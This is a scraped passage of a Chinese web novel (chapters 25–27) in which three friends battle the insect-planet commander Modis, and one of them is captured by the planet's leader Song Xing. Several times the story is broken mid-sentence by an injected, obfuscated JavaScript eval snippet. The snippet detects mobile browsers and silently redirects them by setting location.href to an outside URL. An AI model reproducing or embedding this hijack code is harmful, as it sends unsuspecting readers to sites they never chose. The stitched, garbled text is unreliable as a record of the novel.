RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15440133|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边手舞足蹈地摸索着枪炮,一边震惊地看向七寻,问:“哪来的权限卡?” “从姓费的身上偷来的。” 风迅:“……” 叶疏:“……” 风迅对着她比了个大拇指,惊叹道:“你是这个。” “我给你们望风,你们慢慢选。” 叶疏不是扭捏的人,嘱咐道:“主意安全。” 七寻轻轻“嗯”了一声,头也不回地朝门外走去。待走到两人看不到的地方,她再也忍不住地扶着墙,一阵干呕起来。 她知道她什么也没吐出来,但大脑中的眩晕感始终没褪下,还带着一种说不清道不明的心悸。 这种心悸是没来由的,像濒死前的挣扎,又像是极度疲惫后的自我厌弃…… 就在她胡思乱想间,一道冰冷的目光落在了她身上。 “认输吧。” “呵。”七寻大喘了一口气,抹去额头上的冷汗,抬眸冷冷看着持刀站在屋顶上的莫迪斯,拔出挂在腰间的唐横刀,刺道:“认输?还是你先跪下吧。” · “艹!好疼!”风迅揉揉屁股,从地上爬起来,注意到叶疏幽怨的目光,顿时讪讪道:“我啥也没动啊……” 叶疏看着头顶上的天窗,无语道:“那我们是怎么掉下来的?瞬移?” “……” “拿出来。” 风迅看着叶疏朝她摊出来的手,一头雾水,“什么?” “你从我这拿走的东西。”见她不明白,叶疏也不顾及脸面了,直说:“应该还有七根,我的荔枝味棒棒糖。” “……”风迅在身上摸索了一遍,嘀嘀咕咕道:“你别告诉七寻哈,不然她要骂我的。” “行。这以后就是咱俩的秘密。”叶疏全薅进自己口袋,然后塞了一颗在嘴里。糖果的甜味让她感到愉悦,连带着看风迅的眼神都变得慈祥了几分。 叶疏摸着深坑坑壁,估算着这里距离上面至少有十米。 她俩掉下来后竟然没摔死,真是走运。 墙壁很光滑,她们两个不是壁虎,爬是爬不出去的,现在看来,好像真的只有等着七寻发现,然后救她们上去……但她们三个能玩到一起,性格上总有些相同的地方,同样的不服输,同样不甘心坐以待毙。 出口上的光有限,不能将坑底全部照亮,叶疏道:“这里很大,先到别处看看吧。” “好。” 为了更快地找到自救的办法,两人决定分开行动。 分开前,叶疏叮嘱道:“注意安全,有情况喊我。” “知道啦知道啦。”风迅背对着她摆摆手,潇洒地步入黑暗中。 在这里,除视线以外的感官总是会变得更敏锐些,叶疏察觉到什么,耳朵动了动,警惕地停住脚步。 “嗖!” 两束紫红电光从黑暗中蹿出,以迅雷不及掩耳之势给她来了个两面夹击。 叶疏侧身躲过,奈何那东西速度太快,直接在她手臂上划出一条血痕。 几番回合下,叶疏发现那玩意儿还带追踪回旋的功能,眸子瞬间冷了下来。 “想杀我?哪有那么容易。” 另一边,风迅着急忙慌地跳过火圈,刚想松口气,几颗火球迎面扑来。 “我靠!” “叶疏,叶疏!你再不来就我就要被烤了!” 风迅连滚带爬地躲过,嘴里叭叭不停地哭嚎着:“叶疏那个家伙,还说有情况喊她,我喊了这么多声也不见她来……” 脚下火圈不断,身前身后还有火球追击,她屁滚尿流地躲着,终于有些生气了:“要死了要死了,怎么又是火圈又是火球,真当老娘没脾气是吧!” “奶奶我今天就站这了!有本事你们就烧死我!” 25. 追逐战 锐利的唐横刀与电棍相撞,霎时间火光四射。 七寻盯着莫迪斯略微颤抖的手,冷嗤一声,“指挥官,你就这点本事?” 莫迪斯用电棍挑开她,沉默不语。 七寻紧追不舍,招招出手狠辣,完全不给他主动回击的机会,“我当你多大能耐呢,敢那样戏耍我。” “把我拽进梦境又不放我出去,几次三番骗我还不够,还拿叶疏和风迅要挟我,这一桩桩一件件,今天你都得给我还回来!” 莫迪斯手臂一麻,手里的电棍被挑飞了出去。刀光近在眼前,惊险之余,他非常有自知之明地从十米高的楼房上跳下。 七寻站在原地,居高临下地盯着莫迪斯,笃定道:“你在拖延时间。” “……这么快就看出来了?”莫迪斯望着大门紧闭的武器库大门,笑了笑,默默往后退了几步,“我的目标是你,至于她们,只要不碍事……” 他话还没说完,腰间忽然被什么东西勾住。 “把你绑了,还愁救不了人?”七寻懒得跟他废话,用蛮力一把把他扯到跟前,“你既然敢一个人过来,就该做好挨揍的准备。” 莫迪斯单手撑地,然后一个翻身直接将腰上的绳子甩掉,顺带躲开了飞舞而来的长鞭。 七寻不带一丝犹豫地追了上去,她心中估摸着时间,在莫迪斯拿回电棍前,用鞭子将电棍勾在了手中。 她一手拿着电棍,一手拿着由二十四界变换成的手枪,对准了莫迪斯的脑袋。 与此同时,莫迪斯手里的枪也对准了她。 那把枪被莫迪斯藏在大衣下,他不主动掏出来,别人注意不到。 七寻唇角勾起一抹笑,疯狂道:“指挥官,开枪吧,看看我们谁运气好,能躲过对方的子弹。” 莫迪斯眼中异色一闪而过,他正思量着该怎么破局,耳麦里传来三甲虫兴奋的声音:“指挥官大人,首领让我们来帮你,免得你被人一枪崩了,没人帮她收拾烂摊子。” 另一只甲虫自以为很小声地纠正它:“是政务,政务!” “嗷对对对,政务!” 莫迪斯:“……”还不如不解释。 下一刻,两声枪响同时响起,子弹从耳间擦过,再近一分,就能穿透莫迪斯脑袋。 莫迪斯摸了摸耳朵,摸到一手血,忍不住腹诽下手真狠。 七寻冷睨着他,手指正要再度按下扳机,余光忽然瞥见对面房顶上冒出来的六根须须,枪口下意识改变了方向。 “砰砰砰——” 连着三声枪响,犹如捅了马蜂窝般,炸出一群甲虫。很快,天空和屋顶就站满了虫子,黑压压的一片连着一片,看得人头皮发麻。 莫迪斯自然不会放过这个大好机会,迅速按下袖口处的按钮,背后机械翼自动放出,带着他远离危险。 七寻还想追,可她身边的甲虫太多,且这些甲虫皮糙肉厚,一旦被围困住就很难摆脱。 看着对自己挥手道别的某人,七寻心中升起一阵无名火。怪不得这人有恃无恐,原来在这等着她呢。 七寻知道自己莽撞了,但即便敌众我寡,就算是以一抵万,她也不能后退半步,因为叶疏和风迅还在里面。 远处黑塔塔尖好似亮了一下,无形中有股能量从身体间穿过,却并无异常。 七寻稳住心神,孤身站在甲虫包围圈中,却更像是那个掌握全局的人,她眼中是孤注一掷的光,带着不顾一切的勇气,直面如惊涛骇浪般扑来的虫子。 二十四界幻化出的长鞭在黑暗中割开一道不规则的电痕,泛着浓浓杀气,仅一鞭,七寻周围的甲虫们全部席卷在地,口吐白沫。 不等对方反应,七寻直接先发制人,在虫子们再度扑上来之前,不要命似地朝莫迪斯袭去。 幽蓝电光时隐时现,却势如破竹,生生从虫群中杀出一条道来。 莫迪斯时刻观察着局势,越是观察,越是心惊。 他料想过七寻拿到二十四界后战力非凡,毕竟她跟着叶疏学过武术招式,但也没想到七寻在武器和系统的加持下,能逆风翻盘。 他还想着……现在看来是没戏了。 莫迪斯有些懊恼,这一懊恼就想起另外两个人,头更疼了。他万分庆幸自己有先见之明,提前将她们三个人分开了,不然这小仓库还真不够她们造的…… 突然,武器库内传来一声恐怖的爆破声,紧接着武器库顶部被炸出了一个大洞,站在上面的甲虫直接被掀开,随着铁皮碎块一起飞上了天。 仅仅是一眨眼的功夫,几颗火炮“嗖”地从烟尘中射出,直逼莫迪斯面门而来。 守在莫迪斯身边的三只甲虫见情况不对,立马跑路,徒留莫迪斯一个人在原地。 莫迪斯暗骂一声,再次放出机械翼,挡住了凶猛的炮弹。 机械翼撤下,烟尘散去,只见一个绑着高马尾的女孩肩上扛着一个口径半米高的枪炮,炮口直直对准了莫迪斯的脑袋。 莫迪斯眼皮一跳,“……开什么玩笑。” 这家伙哪里来的高危级武器,他记得武器库没有这个级别的枪炮来着…… “开玩笑?”风迅单手叉腰,不满道:“谁跟你开玩笑,你以为我是来跟你玩过家家的吗?老娘我是来拆家的!” “敢趁我们不在欺负七寻,现在我出来了,有你好果子吃的!” 莫迪斯眉头不自觉地挑了一下,目光穿过黑甲虫,落在被风迅护在身后的七寻身上,沉默了。 风迅虽然废话多,但不是手软的主,朝着莫迪斯连发几炮发现轰不死他后,就开始狂轰乱炸起来。于是乎,到最后凡是甲虫多的地方,都没能幸免于难,成了一片连着一片的废弃钢铁和土块。 那一手暴力轰炸,可谓是把“拆家”二字体现得淋漓尽致。 莫迪斯倒抽一口凉气,觉得这女人大抵是疯了。 “没事吧?”得了空,风迅伸手掰过七寻的脸瞧了瞧,“瞅瞅这小脸,沾的啥,等姐姐给你出气。” “没事。”七寻擦擦脸上的灰,知道她这是戏瘾犯了,又把自己当拯救小可怜的救世主了。 “别客气啊,虽然姐姐拿到这武器不容易,但是有仇不报,不浪费了嘛?” 七寻一下子就抓到了关键点,“叶疏呢?你们在里面遇到麻烦了?” “应该快出来了,我们掉坑里了,不想坐以待毙,就兵分两路找出口……”风迅一边开炮,一边老神在在地说:“分开没多久,我就撞到了机关,但我是谁,我可是南中三小霸王之一好吧,三下五除二,直接把那些机关整报废了。” 风迅拍拍肩上的枪炮,得意道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454483|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “战利品,漂亮吧~看这油光发亮的模样,威力还这么猛,简直是太适合我了。” 七寻:“……”这里面绝对有八成是在吹牛。 武器库一间间崩塌,再这样下去,这里很快就要沦为废墟。为了保障叶疏的安全,七寻让风迅把虫子们往外赶。 风迅十分乐意,二话不说,直接套上从武器库薅来的机械翼,扛着大炮跟狗皮膏药似地追着莫迪斯往城市中心跑。 途中,风迅时不时逗小孩似地轰几炮,让本想摸清规律的莫迪斯头疼至极。 高危级武器的威力不容小觑,只有傻虫子才会不要命地挡在枪口上,跟风迅硬碰硬。大多数甲虫不愿自讨苦吃,有意懈怠,也不主动攻击了,跟着莫迪斯一起紧夹着尾巴跑。 莫迪斯对此颇为咬牙切齿,但他明白问题出在哪里,红眸顿时迸出刺骨的冷色。 为了快点找到问题的根源,莫迪斯借着机械翼一路逃,加上甲虫们时不时敷衍地维护,三分钟后,他终于飞回了离指挥中心还有两百米远的高楼大厦上。 就在他以为已经甩开了风迅时,身侧传来一声嘹亮的口哨声。 莫迪斯猝然回头,只见叶疏站在高塔之上,两边肩膀上“滋滋”闪着蓝色的电流方块,如夜一般黑的风衣被风吹得猎猎作响。 叶疏笑眯眯地看着他,戏谑道:“高级指挥官,别来无恙呀~” 莫迪斯侧身躲过电子离光弹,迎面又是三枚炮弹。 后面追来的风迅惊喜地说:“叶疏你什么时候出来的?七寻进去找你了,现在看来是要白跑一趟了。” “刚出来不久。”叶疏嘴里叼着糖果,双手环胸看着被电子离光弹追得四处逃窜的莫迪斯,漫不经心道:“专心点,别让人跑了。” 风迅架炮轰开甲虫,脸上笑容肆意不羁,“跑不了。” 两人配合得天衣无缝,很快就将莫迪斯牢牢围困在一定范围内。 莫迪斯背后机械翼不断煽动着,目光沉了又沉。 再这样下去,他还没解决问题,就要成为那个被解决的人了…… 察觉到莫迪斯在走神,叶疏控制着悬在她肩上的武器,连续不断地发出电子离光弹,成功将莫迪斯身后的机械翼击碎。 强烈的电流传导至人体,莫迪斯全身一麻,没控制住平衡,直直朝地面坠去。 风迅面上一喜,就要追上去。 叶疏隐隐感知到这事不简单,喊道:“别追!” 在风迅靠近的那一刻,莫迪斯摊开双手,脸上露出胜券在握的笑意,他缓缓开口说道:“倒转吧,时空。” 那句话像古老的魔咒般,出口的一瞬,叶疏和风迅无比清楚地感觉到自己的身体被定格住了。 不过好在那仅仅是一瞬间,下一刻,天旋地转,随之而来的是完完全全的失重状态。 视线扭曲,高楼倒悬,无数甲虫从身边浮过,天空被踩在了脚下,而这一切对叶疏和风迅来说并不是一件好事,机械翼失控,无止境地下坠像一把放大镜,成倍放大她们心中对未知的恐惧,而罪魁祸首正临于高空,欣赏着自己的杰作。 忽然,站在混乱空间中的莫迪斯腰间一疼。 他回头看向踩着类似平衡器的飞行物品,悄无声息地出现在他身后的七寻,眼中透着不加掩饰的难以置信。 26. 两石像 什么时候…… 莫迪斯扶着后腰,随手抹去嘴边的血渍,不由开始怀疑人生,“偷袭?” “指挥官。”七寻笑着摇摇头,“我在你身后站了十秒你才发现,反应力未免太慢了些。” “……”莫迪斯这才发现她没有拔刀,只是用刀柄将自己击飞了出去。 莫迪斯被击中的那一刻,整个空间的重力再度失控,世界依旧颠倒,物体却不再下坠,机械翼可以正常使用了。 叶疏和风迅趁机控制着身体,倒挂在黑塔上。 七寻踩在飞行器,一只手放在唐横刀上,时刻提防着莫迪斯。 叶疏抓着架子,吹了一声口哨,笑眯眯地对莫迪斯身后蠢蠢欲动的甲虫们道:“喂,我说你们,要不要考虑换个指挥官啊?” “你们指挥官这么弱,跟着他不如跟着我们。” 甲虫们看着彼此,都没反应过来。 听到这,刚缓过劲的莫迪斯笑容逐渐变得玩味起来。 刚从武器库出来的时候风迅就觉得这些甲虫特别的识时务,一见到炮弹,眼里全然没了对莫迪斯这个指挥官的崇敬,只有对生的渴望,一个两个跑的比兔子还快。 于是风迅有样学样,挑唆道:“等我们上位了,保准带着你们吃香的喝辣的,再不用拼死拼活的,还挨打。” “说完了吗?”莫迪斯不屑地说:“你们不会真以为,在这说上几句不切实际的话,它们就会背叛我吧?” 三甲虫飞到莫迪斯身边,齐声应和:“就是就是,我们绝不会背叛指挥官大人……” 看着对面一直保持沉默的人,莫迪斯摇摇头,像在嘲笑无知的小朋友:“太天真了唔……” “天真?”七寻冷笑道:“它们说的是绝不背叛指挥官,可没说是哪个指挥官。” 转眼间,莫迪斯已置身于三人的包围圈中。他不可置信回头,阴沉地看着甲虫。 甲虫们煽动着翅膀,带着小弟推到安全区,“我觉得她们说得很有道理。” 它们翻脸比翻书还快,完全不顾昔日上下属的情面,嬉笑着说:“所以今天,只有赢的那一方,才能成为虫星的指挥官。” 莫迪斯咬牙切齿,却无法顾忌这些阴险的虫子。他周身电光时隐时现,仅几秒钟的时间里就炸出了几百条,随后犹如爪子般将他笼罩在内,逼得他逃无可逃。 莫迪斯轻“呵”一声,用机械翼阻断恐怖的电光,不要命地逃,速度快到直接将三人甩到身后。 隔着几百米的距离……总算有了空闲,莫迪斯抬手从眼球中扣出一颗血珠。 叶疏英气的眉头皱了一下,很快舒展开,“那是什么?” 风迅举炮狂轰乱炸,在楼房碎块和灰屑中呲牙道:“管他是什么,轰就完事了!” 七寻紧随其后,时不时出手攻击莫迪斯身上出现的漏洞。 她出手跟风迅一样没有规律,下手快准狠,不给对手留一点机会。莫迪斯自认为已经做好了完全的准备,可有好几次,差点就就被七寻击中要害。 在接连不断地电击和炮弹轰炸中,莫迪斯身后的机械翼逐渐破碎,他不慌不忙地穿梭在倒塌崩解的摩天大厦之间,手中那颗珠子冒出瘆人的血丝线。 “高危级武器,可不是只有你们有……” 丝线如草地里最擅长掩藏的蛇,紧盯猎物,看准时机,悄无声息地扎进叶疏和风迅后颈。神经被麻痹,叶疏和风迅宛如被冻结了般,僵直在原地。 七寻惊诧地回头,正好看到背后失去动力,枯萎败退的血丝。 七寻疑惑,为什么这东西靠近不了她? 等七寻靠近,叶疏挪动嘴唇,说:“不能动了……” 七寻捏了捏两人的胳膊和脸,“硬邦邦的……像石头。”她目光犹般如寒剑,“嗖嗖嗖”扎进莫迪斯血肉里,捅得他血肉模糊。 “传说中,美杜莎原本是凡人之女,因美貌被海神波塞冬在雅典娜神庙中玷污。雅典娜震怒,将她的头发变为毒蛇,并诅咒任何直视她眼睛的人都会被石化。”莫迪斯欣赏着自己手中的眼珠子,笑容诡谲,“所以我给它取了个名字‘美杜莎之眼’,是不是很贴切?” 七寻不想回答这个无聊的问题,她想骂人。 这人哪来这么多稀奇古怪的东西! “说吧,怎么样才能让她们恢复正常?” 扫了眼悬在天空中的那两具“石像”,莫迪斯摊开手,对着七寻招了招,“这事不难,求我,我就让她们恢复正常。” 七寻目光落在他那只戴着黑手套,看起来非常细长的手指,挑眉笑了一声:“哪来的自信觉得我会求你?” 在她的认知中求人不如求己,只有自己争取,才能拿到更多的主动权。 七寻手中闪过一抹幽光,随后消失不见。她不顾落石,急速朝莫迪斯逼近。 莫迪斯用血丝线将自己团在中间,截住了七寻趁乱甩出的飞镖。 被飞镖割断的血丝线流出紫色的汁液,随后成倍疯长,眨眼间就变成了一个巨大的中空的“毛线球”,球体悬浮在空中,彻底将里面和外面的人分隔开。 叶疏和风迅后劲都有类似针孔的痕迹,那汁液……应该就能石化的关键。 二十四界变幻成的飞镖被丝线缠住,收不回来,七寻手上没有其他武器,手无缚鸡之力,不由骂道:“缩头乌龟。” “怎么还骂人呢?你进不来是你没本事,再怎么恼羞成怒,也不关我的事。” 两人大眼瞪小眼,一个神色发冷,一个满面笑意。 缩在角落里的甲虫一号:“这样僵持下去不是办法啊……” 甲虫二号:“要不给小姑娘一点提示?” 甲虫三号:“这算站队吗?” 甲虫二号想了想,说:“我觉得不算,我哪边都没站啊,我跟你们站一块呢。” 一号,三号:“……”脑子不太聪明的样子呢…… “这样下去不得等个猴年马月才能出结果……不管了,出手吧,我们这叫合理地促进剧情的发展。”甲虫一号盯着二号,眼睛亮晶晶的,“不过我有个更好的办法,可以摆脱站队的嫌疑,就是……” 甲虫二号舔着头上的长须,刚抬头,就见其他甲虫都看着自己,还笑得十分猥琐。它挠挠头,不明所以地问:“怎么了?” 话音刚落,它就被踹了出去。 “好疼,我的屁股!” 甲虫一号逼问道:“说!大姐头在外养小奶狗的事,是不是你告发的!” “我没有!真不是我!” “还说不是你,我们都拿到证据了,还不如实招来!” 甲虫二号一头雾水,正想让它们拿证据,几口唾沫就喷在了它脸上,刺得它尖叫出声:“这是干什么,你们这是干什么!这多不卫生啊!” 甲虫们才不跟它讲究卫不卫生,凶神恶煞地怼着它“tuituitui”。 见蠢货们起了内讧,莫迪斯一开始还有心观望,直到甲虫们靠近,终于发觉出一丝不对劲来。 莫迪斯控制着血丝线球,他想要避开甲虫唾液,可已经来不及了,那些唾沫像追踪弹一样,直接锁定了他,将血丝线球融出好几个大洞。 糟心玩意儿! 它们就是故意的! 一直盘旋在周围寻找破绽的七寻面色一喜,乐得看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480546|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫迪斯倒霉。 七寻并没有被喜悦冲昏头脑,她还没摸清莫迪斯手中那颗“美杜莎之眼”,更何况,血丝线球虽然被破坏,但它愈合的速度很快,贸然靠近风险太高,一个不留神,后果无法预测。 石像? 七寻脑中闪过电流,眼睛顿时亮了起来。目光一下子落在了石像上。 武器不就摆在她面前?她居然才想到。 七寻立马行动起来,抓着叶疏用力朝血丝线球上的溶洞砸去。重力失衡的情况下,她没有费多大的劲,非常顺利地将石像砸进了坑里。 见石像没有变化,七寻松了口气。 七寻在心中默念几句“阿弥陀佛”,正打算用石像将二十四界从球体上挑出来,忽然发现血丝线球上与石像接触的地方,血丝自愈能力受到了抑制! 七寻松了口气,脸上浮出阴森的笑,然后一举拿回二十四界。 前方是乱成一锅粥的甲虫,后方是等着取他狗命的七寻……莫迪斯腹背受敌,一时间恨得牙痒痒。 意识到自己在分心,莫迪斯立马回过神来,使用“美杜莎之眼”的力量,加固血丝线球。 血管状的细线在球体表面流动、攀长,将球体上的漏洞缝补得密不透风,最后一个缺口堵上的那一刻,血光大涨,整个球体宛如漆黑天穹上挂着的一颗血月,散发出不容人抗拒的威慑力。 明白再无可乘之机,甲虫们讪讪退下。 七寻漂浮在风迅身边,手中的二十四界已变换成了巨型电钻。她毅然决然地按下按钮,以如跨膜蛋白般镶嵌在血线层中的风迅石像,发动恐怖的绞合力。 血丝线被搅在一起,球体内的空间被一点点挤压殆尽,逼着里面的人作出决定。 莫迪斯作茧自缚,失了主动权,不得不继续扩大球体内部的生存空间。 而他这一举动,正中七寻下怀。她在心中计算着位置,乘胜追击,动作狠厉地将血球捅穿。 钻头的爆破力非凡,与眼珠相碰下火光四射。黑白分明的眼瞳骤缩,恐惧地看着七寻。 只万分之一秒的时间,七寻就认出了这颗眼球,这不就是当初莫迪斯派来监视她,最后遁入城市底部的独眼么! 独眼破碎,七寻横踢一脚,直接将躲闪不及的莫迪斯踹飞了出去。 巨大的冲击力下,莫迪斯连着穿过数栋大厦,终于在滚滚烟尘中停下。 没了独眼的作用,叶疏和风迅很快恢复正常。在七寻的搀扶下,两人重获新生,珍惜地呼吸着空气,然后迅速调整好状态。 “死了?” 七寻摇摇头:“应该没。” “我也觉得,他一个外星人哪有那么容易死。”风迅带好枪炮,朝莫迪斯的方向飞去。 正在这时,漂浮在她头顶上的城市高楼大屏忽然集体亮起,同频播放着一部话剧。 风迅瞄了一眼,嫌恶道:“这化的什么妆啊,好丑,眼睛和鼻子跟被人打肿了似的,外星影视化创新都到这地步了吗?小丑跳芭蕾,怪新奇的。” 七寻:“……” 叶疏跟着笑了笑,就是不太真切,还有些心虚。 三人身后,倒塌的废墟中探出一只手,被七寻砸进去的人掰着身上的碎石,不缓不慢地从里面爬了出来。 莫迪斯头上哗哗流着血,血痕已经流到了眼球中,蒙住了他的视线,但他丝毫不在意,眼睛直勾勾盯着风迅,不怀好意道地说:“大屏上的人不就是你吗?” “不久前话剧院里那场表演,被她们两个推上台的人不就是你吗?” 触及风迅脸上茫然,莫迪斯再接再励道:“只不过是化了妆,就不认识自己了?” 27. 巨蟒现 “你们两个,给我一个合理的解释。” 叶疏和七寻后背生凉,虽然他们不是有意为之,但这事做得确实太缺德,这导致她们根本不敢看风迅。 两人非常有默契地偏过头,然后就与大屏幕上画着小丑妆扮演猪八戒的风迅四目相对。 叶疏,七寻:“……” 叶疏瞥了眼莫迪斯,“不就是被记录下来了嘛,没什么大不了的啦,说不准还能当晚年回忆录呢……” 风迅紧握拳头,怒吼道:“丢脸的又不是你们!你们当然可以把这个当做小事轻易掀过!” “我们向你道歉……” “你以为道歉就有用吗!” 叶疏无奈摊手,“那你说怎么办吧。” 她这般无所谓的态度让风迅感到自己不被重视,顿时气得火冒三丈,“好啊,才说几句,你就开始不耐烦了!你是不是从没把我当朋友!” “怎么了,怎么就扯到这了?我没拿你当朋友,我会容忍你考砸后一把鼻涕一把眼泪地抹在我身上?我没拿你当朋友,我能在你肚子疼的时候给你端茶倒水,哄着你喝药啊!” “那我还背着七寻给你买棒棒糖呢!你牙疼还是我带你去医院补的牙呢!”风迅气呼呼的,想破脑袋终于多搜刮出一件不为人知的陈年往事,“我,我还帮你掩人耳目,跟着你一起去打架呢!” “那个……”七寻开口想说些什么,被两人同时驳回。 “你闭嘴!” “一边去。” 说完,叶疏心里咯噔一下,一扭头,对上了七寻探究的目光。 好家伙,一不小心全抖搂出来了。 七寻眯着眼,眼神在两人之间来回晃动,“你们两个,背着我干了不少事啊……” “……”风迅心虚地挠挠头,叶疏生硬地转移话题:“你刚刚想说什么来着?” “我想说你们吵过头了,莫迪斯跑了。” “那还不赶紧追!” 七寻嘴角勾起一抹笑,阴险道:“不用追,我在他身上上了锁,他跑不了的。”她手指微动,一根不显眼的锁链出现在了她手中。 七寻狠力一拽,那根延伸百米的锁链一下子就露出了全貌。很快,锁链另一头的人直接被拽到三人面前,正是趁乱逃走了的莫迪斯。 这本是一件让人感到开心的事,风迅却突然大喊道:“小心!” 一个巨大的黑影从背后降下,七寻整个人被笼罩在巨影之下,毛骨悚然的感觉窜上脊背,直达大脑皮层,冷得她忍不住打了个哆嗦。 大楼透明玻璃上,七寻隐约看到一只二十米高的巨蟒猝然出现在了她背后。巨蟒摆动着身体,吐着舌头,一双黑金色竖瞳闪着噬人的血光,紧紧凝视着她。 那仅仅是千分之一秒,七寻连跑的机会都没有,巨蟒直接张开深渊巨口,朝她扑了过来。 “七寻!”亲眼看着最好的朋友被怪物吞入腹中,叶疏和风迅心中的悲痛和愤怒是难以言状的是,那一瞬间的刺激逼得两人眼睛刺红。 风迅不顾一切地扫射全身覆满黑色鳞甲的蟒蛇,巨蟒被子弹激怒,狰狞地怼着她呲出毒牙,叶疏迅速做出反应,在巨蟒吞人之前使用电击将对方逼退。 黑金巨蟒被电得一激灵,竖瞳骤缩,猛地一甩尾,将两人以及刚解绑的莫迪斯一起甩飞了出去。 叶疏惊道:“它要跑!” “不能放它走,七寻还在它肚子里!”风迅瞪着满是血丝的眼睛,二话不说直接追了上去。 只是她刚追了几步,那巨蟒竟钻入光隙中,凭空消失在了黑夜里。 风迅惊骇道:“这到底是怎么回事……” “那就只有问他了。”叶疏煽动着身后的机械翼,肩上的电光刹那间将莫迪斯围困在内,让他无路可逃。 莫迪斯擦去嘴边因强烈电击溢出来的血,阴郁地笑着,“你们猜。” · “唔……”七寻眼前黑了一瞬,很快就亮了起来。 睁开眼,长桌上烛光摇曳,高脚杯盛着的红酒散发出清透的果香和浅淡的酒味。华贵窗帘下的城市灯火通明,平和而美好,赫然是没有失重颠倒的虫星。 七寻挣了挣手上的手铐,警惕地看着长桌对面的人。 那人一头银灰色利落短发,正是七寻在外星航舰上见到的第一个人类。 她今天穿着一身领口不对衬的黑色束身长裙,暗银色的锁链穿过左肩衣扣,右肩后挂着一块不大不小的披风,让她整个人看起来果断凌厉,俨然一副上位者的姿态。 “自我介绍一下,我叫宋刑,是这颗虫星的首领。” 七寻没想到她这么坦诚,有些意外,可一想到自己还被绑着,心情就好不起来,“你单独抓我来,就不怕莫迪斯招架不住?” 宋刑耷拉着眼皮,喝了口红酒……下一刻,七寻被连人带椅地移动到了宋刑面前。 一股不容违逆的力道袭来,下巴被人勾起,七寻被迫抬起头直视着宋刑。 因为离得近,她能清楚地看到宋刑脸上的皱纹,但即便如此,也不难看出这人年轻时样貌出众。 “一个妄自脱离首领掌控的指挥官,不值得我花心思。”宋刑摇摇头,看着七寻腰间挂着的武器,漫不经心地拨弄了一下,揶揄道:“你手里这把武器,是我打造的三把高危机武器之一。不过现在看来,它好像被人改装过,威力更胜从前。” “可奇怪的是……这把原本保存在武器库里的东西,此刻却出现在了你身上。”宋刑手指在七寻脸颊流连,“我很好奇,你和他之间是什么关系?” 她语气柔和,却莫名让七寻觉得恶寒。直觉告诉她,眼前这个人远不止表面看上去这么简单,反而,相当危险。 “你很好奇?” “乖乖告诉我,我不喜欢被人反问。” 七寻心头再次涌上强烈的寒意,她强装镇定,没让自己露怯,“见血的关系。他骗了我,我想宰了他。” 宋刑愣了一下,意味不明的笑了笑,煞是可惜地说:“如果不是他先触犯我的底线,也许你们两个能做同事。” 看热闹不嫌事大…… 七寻脑中过电点,瞬间想到什么。 叶疏和风迅手里的高危级武器……是宋刑故意放在武器库的! 好一招数借刀杀人。 像是意识到什么,宋刑坐回自己的位置,捂着眼睛,静默了好一会儿。 “时间过的真快,一转眼都这么多年了……你知道的,男人跟女人是说不上话的,今天好不容易碰上一个……” 这神神叨叨的发言让七寻感到迷惑,她尝试着主动出击,“你抓我来,总不会是让我吃干饭的吧?” “当然不是,虫星从不养闲人。就算是莫迪斯那样的武器改装天才,想要活下去,就只能为我所用。” “而你,我只想在你身上找到答案。” 答案?什么答案? 宋刑望着窗外的夜色,自顾自地说:“很多年前有两个人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494057|167547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个叫楚纨,一个叫宋昭玥。” “她们一个家庭显赫,过着千金小姐般的生活;一个出身草根,只能靠着微薄的钱财苟活于世。可就是这样天差地别的两个人,却在某天成了最要好的朋友。” “你觉得她们之间,会有真正的友谊吗?” 七寻垂眸想了想,斟酌道:“有,但分人。” 宋刑茫然了一瞬,念道:“分人?” 七寻知道她不是在询问,是在思考,并没有继续出言打扰。 “她们关系很好,几乎可以说是形影不离,后来更是考上了同一所学校同一个专业。” “楚纨很高兴,因为她们之间的友谊还能继续延续,不会因为升学渐行渐远。可直到开学,宋昭玥都没来报道。” “楚纨很担心宋昭玥,找了她很久,最后在她奶奶家找到了她。”宋刑闷了一口酒,脸上闪过屈辱,声音发沉发涩:“见到她时,宋昭玥穿着普通的衣服,胸口是别着胸花,被五花大绑地送上了婚车。” “楚纨带着人追了两里地,才抢走宋昭玥。后来更是掏了一大笔钱,才让宋昭玥摆脱了被父亲卖掉换钱的命运。” 